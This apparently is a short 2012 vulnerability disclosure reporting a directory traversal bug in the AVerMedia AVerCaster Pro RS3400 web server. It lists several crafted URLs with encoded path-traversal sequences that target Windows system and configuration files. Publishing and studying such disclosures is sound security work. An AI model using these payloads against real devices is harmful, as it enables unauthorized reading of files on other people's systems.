AVerCaster Pro RS3400 Web Server – Directory Traversal
# Exploit Title: AVerCaster Pro RS3400 web server directory traversal # Date: 2012-10-06 # Exploit Author: Patrick Saladino # Vendor Homepage: http://www.avermedia.com/product/ProductDetail.aspx?Id=560 # Version: v.3.1.20 # Tested on: Not relevant # CVE : none yet Hello, I just wanted to let you know that the latest video-streaming solution from AVerMedia, the AVerCaster Pro RS3400, is vulnerable to a nasty directory traversal bug. The whole filesystem (at least the locations accessible to the user running the web service) can easily be reached from the web using a crafted URL, such as : http://somehost.com/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5csystem.ini http://somehost.com/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini http://somehost.com/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts http://somehost.com/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../windows/Starter.xml (Windows 7) http://somehost.com/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../Program%20Files/Internet%20Explorer/iexplore.exe While no system files can be downloaded using that flaw, it's still bad programming...
